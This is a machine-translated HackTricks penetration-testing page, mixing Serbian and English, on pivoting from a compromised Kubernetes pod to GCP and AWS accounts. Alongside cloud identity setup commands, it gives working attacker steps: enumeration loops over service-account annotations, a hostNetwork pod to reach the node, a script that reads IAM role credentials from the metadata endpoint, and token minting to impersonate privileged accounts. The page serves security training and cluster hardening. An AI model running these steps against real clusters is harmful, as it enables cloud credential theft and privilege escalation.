Kubernetes Pivoting to Clouds

Reading time: 13 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

GCP

Ako pokrećete k8s cluser unutar GCP-a, verovatno ćete želeti da neka aplikacija koja radi unutar clustera ima pristup GCP-u. Postoje 2 uobičajena načina da se to uradi:

Montiranje GCP-SA keys as secret

Uobičajen način da se obezbedi access to a kubernetes application to GCP je da:

  • Create a GCP Service Account
  • Bind on it the desired permissions
  • Download a json key of the created SA
  • Mount it as a secret inside the pod
  • Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.

warning

Dakle, kao attacker, ako kompromitujete container unutar poda, trebalo bi da proverite tu env variable i json files sa GCP credentials.

Povezivanje GSA json to KSA secret

Način da se omogući pristup GSA GKE cluser-u je vezivanjem na sledeći način:

  • Kreirajte Kubernetes service account u istom namespace-u kao vaš GKE cluster koristeći sledeću komandu:
bash
kubectl create serviceaccount <service-account-name>
  • Kreirajte Kubernetes Secret koji sadrži kredencijale GCP service account-a kojem želite dodeliti pristup GKE klasteru. Ovo možete uraditi koristeći gcloud command-line tool, kao što je prikazano u sledećem primeru:
bash
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Povežite Kubernetes Secret sa Kubernetes service account koristeći sledeću komandu:
bash
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

warning

U drugom koraku su postavljeni kredencijali GSA kao secret KSA. Dakle, ako možete pročitati taj secret iz unutrašnjosti GKE klastera, možete eskalirati na taj GCP service account.

GKE Workload Identity

Sa Workload Identity, možemo konfigurisati a Kubernetes service account da se ponaša kao a Google service account. Pods koji koriste Kubernetes service account će se automatski autentifikovati kao Google service account prilikom pristupa Google Cloud APIs.

The prvi niz koraka da se omogući ovo ponašanje je da omogućite Workload Identity in GCP (steps) i kreirate GCP SA koju želite da k8s preuzme.

  • Omogući Workload Identity na novom klasteru
bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Kreiraj/Ažuriraj novi nodepool (Autopilot clusters ovo ne zahtevaju)
bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Kreirajte GCP Service Account to impersonate iz K8s sa GCP permissions:
bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Povežite se na cluster i kreirajte service account koji ćete koristiti
bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Povežite GSA sa KSA
bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Pokreni pod sa KSA i proveri access ka GSA:
bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Proverite sledeću komandu za autentifikaciju ako je potrebno:

bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

warning

Kao napadač unutar K8s treba da tražite SAs sa iam.gke.io/gcp-service-account annotacijom jer to ukazuje da SA može pristupiti nečemu u GCP. Druga opcija bi bila da pokušate zloupotrebiti svaki KSA u klasteru i proverite da li ima pristup.
Iz GCP-a je uvek korisno izlistati bindings i znati koji pristup dajete SAs unutar Kubernetes-a.

Ovo je skripta da lako prođe kroz sve pods definicije tražeći tu annotaciju:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

Jedan (zastareo) način za dodeljivanje IAM Roles Pods je korišćenje Kiam ili Kube2IAM servera. U suštini, potrebno je pokrenuti daemonset u vašem klasteru sa nekom vrstom privilegovane IAM role. Taj daemonset će davati pristup IAM rolama podovima kojima je to potrebno.

Pre svega, potrebno je konfigurisati koje role mogu biti dostupne unutar namespace-a, i to se radi pomoću anotacije unutar namespace objekta:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Kada je namespace konfigurisan sa IAM rolama koje Pods mogu imati, možete navesti rolu koju želite u definiciji svakog poda pomoću nečeg poput:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

warning

Kao napadač, ako pronađete ove anotacije u pods ili namespaces ili postoji pokrenut kiam/kube2iam server (verovatno u kube-system), možete se lažno predstaviti kao bilo koje IAM role koje već koriste pods i još više (ako imate pristup AWS account, nabrojte role).

Kreiranje Pod sa IAM Role

note

IAM role koja se navodi mora biti u istom AWS account-u kao i kiam/kube2iam role i ta role mora moći da joj pristupi.

yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

Ovo je AWS-ov preporučeni način.

  1. Pre svega treba da create an OIDC provider for the cluster.
  2. Zatim kreirate IAM role sa dozvolama koje će SA zahtevati.
  3. Kreirajte trust relationship between the IAM role and the SA (ime SA, ili namespace-ove koji daju pristup roli svim SA u tom namespace-u). The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name.
  4. Na kraju, kreirajte SA sa anotacijom koja ukazuje na ARN of the role, i pods koji se pokreću sa tim SA će imati access to the token of the role. The token is written inside a file i putanja je specificirana u AWS_WEB_IDENTITY_TOKEN_FILE (podrazumevano: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Da biste pristupili aws koristeći token iz /var/run/secrets/eks.amazonaws.com/serviceaccount/token, pokrenite:

bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

warning

Kao napadač, ako možete enumerisati a K8s cluster, proverite service accounts with that annotation da biste escalate to AWS. Da biste to uradili, jednostavno exec/create pod koristeći jedan od IAM privileged service accounts i ukrasti token.

Takođe, ako ste unutar pod-a, proverite env variables kao što su AWS_ROLE_ARN i AWS_WEB_IDENTITY_TOKEN.

caution

Ponekad je Turst Policy of a role može biti bad configured i umesto da daje AssumeRole pristup očekivanom service account-u, daje ga all the service accounts. Dakle, ako ste u mogućnosti da upišete annotation na kontrolisanom service account-u, možete pristupiti role-i.

Check the following page for more information:

AWS - Federation Abuse

Pronađite Pods a SAs with IAM Roles u klasteru

Ovo je skripta da lako iterira kroz sve pods i sas definicije tražeći tu annotation:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role u cluster-admin

Prethodni odeljak je govorio o tome kako ukrasti IAM Roles koristeći pods, ali imajte na umu da je Node of the K8s cluster zapravo instanca inside the cloud. To znači da je veoma verovatno da Node ima IAM role koju možete steal (napomena: obično svi nodes u K8s clusteru imaju istu IAM role, pa možda nije vredno proveravati svaki node).

Da biste pristupili node metadata endpoint-u morate:

  • Biti u podu i imati metadata endpoint konfigurisан na najmanje 2 tcp hops. Ovo je najčešća misconfiguration jer različiti pods u klasteru obično zahtevaju pristup metadata endpoint-u da ne bi došlo do breaking, i nekoliko kompanija jednostavno odluči da dozvoli pristup metadata endpoint-u sa svih pods u klasteru.
  • Biti u podu sa hostNetwork enabled.
  • Escape to the node i pristupiti metadata endpoint-u direktno.

(Napomena: metadata endpoint je na 169.254.169.254 kao i uvek).

Da biste escaped to the node možete koristiti sledeću komandu da pokrenete pod sa hostNetwork enabled:

bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Ukradite IAM Role Token

Ranije smo objasnili kako da attach IAM Roles to Pods ili čak kako da escape to the Node to steal the IAM Role koji je pridružen instanci.

Možete koristiti sledeći skript da ukradete svoje novo, teško stečene IAM role credentials:

bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Privesc to cluster-admin

Ukratko: ako je moguće pristupiti EKS Node IAM role iz pod-a, moguće je compromise the full kubernetes cluster.

Za više informacija pogledajte ovu objavu. Kao rezime, podrazumevana IAM EKS role koja se dodeljuje EKS nodes po defaultu ima unutar clustera rolu system:node. Ova rola je veoma interesantna iako je ograničena kubernetes Node Restrictions.

Međutim, node uvek može generate tokens for service accounts koji se izvršavaju u pods unutar node-a. Dakle, ako node pokreće pod sa privilegovanim service account-om, node može generisati token za taj service account i koristiti ga da impersonate taj service account kao u:

bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d

Izvori

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks